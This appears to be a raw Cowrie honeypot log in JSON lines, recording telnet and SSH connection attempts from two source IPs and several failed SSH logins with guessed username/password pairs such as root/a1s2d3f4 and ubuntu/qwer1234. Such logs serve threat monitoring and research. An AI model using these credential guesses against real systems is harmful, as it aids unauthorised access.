{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60554,"dst_ip":"10.17.0.5","dst_port":23,"session":"97b6bfca2777","protocol":"telnet","message":"New connection: 152.42.224.71:60554 (10.17.0.5:23) [session: 97b6bfca2777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:59.795636Z"}
{"eventid":"cowrie.session.closed","duration":43.271857500076294,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:01.494578Z","src_ip":"152.42.224.71","session":"73781febb464","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60556,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2e7a329abab","protocol":"telnet","message":"New connection: 152.42.224.71:60556 (10.17.0.5:23) [session: d2e7a329abab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:01.782839Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49428,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef5fba3811a7","protocol":"ssh","message":"New connection: 31.40.204.166:49428 (159.203.135.109:22) [session: ef5fba3811a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:04.421524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:04.426655Z","src_ip":"31.40.204.166","session":"ef5fba3811a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:04.719012Z","src_ip":"31.40.204.166","session":"ef5fba3811a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:05.216022Z","src_ip":"31.40.204.166","session":"ef5fba3811a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:06.394405Z","src_ip":"31.40.204.166","session":"ef5fba3811a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53456,"dst_ip":"10.17.0.5","dst_port":23,"session":"97284e907ac5","protocol":"telnet","message":"New connection: 152.42.224.71:53456 (10.17.0.5:23) [session: 97284e907ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:06.682880Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53466,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce30b9647f70","protocol":"telnet","message":"New connection: 152.42.224.71:53466 (10.17.0.5:23) [session: ce30b9647f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:06.703865Z"}
{"eventid":"cowrie.session.closed","duration":62.28838896751404,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:07.030997Z","src_ip":"152.42.224.71","session":"cdf02d8b95a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53478,"dst_ip":"10.17.0.5","dst_port":23,"session":"60852f53d033","protocol":"telnet","message":"New connection: 152.42.224.71:53478 (10.17.0.5:23) [session: 60852f53d033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:13.554171Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50318,"dst_ip":"159.203.135.109","dst_port":22,"session":"55457738ff90","protocol":"ssh","message":"New connection: 31.40.204.166:50318 (159.203.135.109:22) [session: 55457738ff90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:16.086904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:16.092973Z","src_ip":"31.40.204.166","session":"55457738ff90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:16.219833Z","src_ip":"31.40.204.166","session":"55457738ff90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:16.916341Z","src_ip":"31.40.204.166","session":"55457738ff90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40078,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff057b10aa8","protocol":"telnet","message":"New connection: 152.42.224.71:40078 (10.17.0.5:23) [session: 6ff057b10aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:17.433776Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:18.102585Z","src_ip":"31.40.204.166","session":"55457738ff90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40086,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3c32cd5db11","protocol":"telnet","message":"New connection: 152.42.224.71:40086 (10.17.0.5:23) [session: e3c32cd5db11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:20.888097Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40102,"dst_ip":"10.17.0.5","dst_port":23,"session":"1202e05c2067","protocol":"telnet","message":"New connection: 152.42.224.71:40102 (10.17.0.5:23) [session: 1202e05c2067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:21.929285Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40108,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff7f81165810","protocol":"telnet","message":"New connection: 152.42.224.71:40108 (10.17.0.5:23) [session: ff7f81165810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:24.782593Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58780,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b8426db62d","protocol":"ssh","message":"New connection: 31.40.204.166:58780 (159.203.135.109:22) [session: 51b8426db62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:27.010483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:27.015713Z","src_ip":"31.40.204.166","session":"51b8426db62d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:27.207957Z","src_ip":"31.40.204.166","session":"51b8426db62d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:27.726521Z","src_ip":"31.40.204.166","session":"51b8426db62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:28.894728Z","src_ip":"31.40.204.166","session":"51b8426db62d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53860,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe11db4639ff","protocol":"telnet","message":"New connection: 152.42.224.71:53860 (10.17.0.5:23) [session: fe11db4639ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:28.915958Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53870,"dst_ip":"10.17.0.5","dst_port":23,"session":"200174428b18","protocol":"telnet","message":"New connection: 152.42.224.71:53870 (10.17.0.5:23) [session: 200174428b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:29.299334Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53886,"dst_ip":"10.17.0.5","dst_port":23,"session":"59f9656ec330","protocol":"telnet","message":"New connection: 152.42.224.71:53886 (10.17.0.5:23) [session: 59f9656ec330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:29.715053Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53898,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb85097a19d0","protocol":"telnet","message":"New connection: 152.42.224.71:53898 (10.17.0.5:23) [session: eb85097a19d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:29.924791Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53910,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e1c1008da4d","protocol":"telnet","message":"New connection: 152.42.224.71:53910 (10.17.0.5:23) [session: 4e1c1008da4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:30.538379Z"}
{"eventid":"cowrie.session.closed","duration":34.967132568359375,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:34.762654Z","src_ip":"152.42.224.71","session":"97b6bfca2777","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.308053970336914,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:36.055331Z","src_ip":"152.42.224.71","session":"d0f4d3be8795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33294,"dst_ip":"159.203.135.109","dst_port":22,"session":"58f208c989af","protocol":"ssh","message":"New connection: 31.40.204.166:33294 (159.203.135.109:22) [session: 58f208c989af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:38.531970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:38.536046Z","src_ip":"31.40.204.166","session":"58f208c989af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:38.707353Z","src_ip":"31.40.204.166","session":"58f208c989af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.31411910057068,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:39.178588Z","src_ip":"152.42.224.71","session":"3a138b46616f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46572,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4f1222d6952","protocol":"telnet","message":"New connection: 152.42.224.71:46572 (10.17.0.5:23) [session: a4f1222d6952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:39.289995Z"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:39.398871Z","src_ip":"31.40.204.166","session":"58f208c989af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46558,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7d0b222b0e1","protocol":"telnet","message":"New connection: 152.42.224.71:46558 (10.17.0.5:23) [session: f7d0b222b0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:40.458140Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:40.622073Z","src_ip":"31.40.204.166","session":"58f208c989af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46574,"dst_ip":"10.17.0.5","dst_port":23,"session":"670313def563","protocol":"telnet","message":"New connection: 152.42.224.71:46574 (10.17.0.5:23) [session: 670313def563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:42.383601Z"}
{"eventid":"cowrie.session.closed","duration":40.63137149810791,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:47.314121Z","src_ip":"152.42.224.71","session":"97284e907ac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.932291746139526,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:48.714936Z","src_ip":"152.42.224.71","session":"d2e7a329abab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49824,"dst_ip":"159.203.135.109","dst_port":22,"session":"633025f2380e","protocol":"ssh","message":"New connection: 31.40.204.166:49824 (159.203.135.109:22) [session: 633025f2380e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:50.691182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:50.700605Z","src_ip":"31.40.204.166","session":"633025f2380e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:50.817535Z","src_ip":"31.40.204.166","session":"633025f2380e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:51.408933Z","src_ip":"31.40.204.166","session":"633025f2380e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:52.587084Z","src_ip":"31.40.204.166","session":"633025f2380e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.95935773849487,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:54.663098Z","src_ip":"152.42.224.71","session":"ce30b9647f70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.127434730529785,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:54.842378Z","src_ip":"152.42.224.71","session":"59f9656ec330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52420,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ca86c0d0ba9","protocol":"telnet","message":"New connection: 152.42.224.71:52420 (10.17.0.5:23) [session: 1ca86c0d0ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:55.350205Z"}
{"eventid":"cowrie.session.closed","duration":42.08159804344177,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:55.635645Z","src_ip":"152.42.224.71","session":"60852f53d033","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52422,"dst_ip":"10.17.0.5","dst_port":23,"session":"47efc29e92bf","protocol":"telnet","message":"New connection: 152.42.224.71:52422 (10.17.0.5:23) [session: 47efc29e92bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:55.692399Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53220,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eec8075ad11","protocol":"telnet","message":"New connection: 152.42.224.71:53220 (10.17.0.5:23) [session: 5eec8075ad11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:55.996980Z"}
{"eventid":"cowrie.session.closed","duration":83.26783108711243,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:56.543673Z","src_ip":"152.42.224.71","session":"ee581f820efb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52406,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b1778346563","protocol":"telnet","message":"New connection: 152.42.224.71:52406 (10.17.0.5:23) [session: 4b1778346563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:57.330067Z"}
{"eventid":"cowrie.session.closed","duration":41.32194900512695,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:54:58.755524Z","src_ip":"152.42.224.71","session":"6ff057b10aa8","protocol":"telnet"}
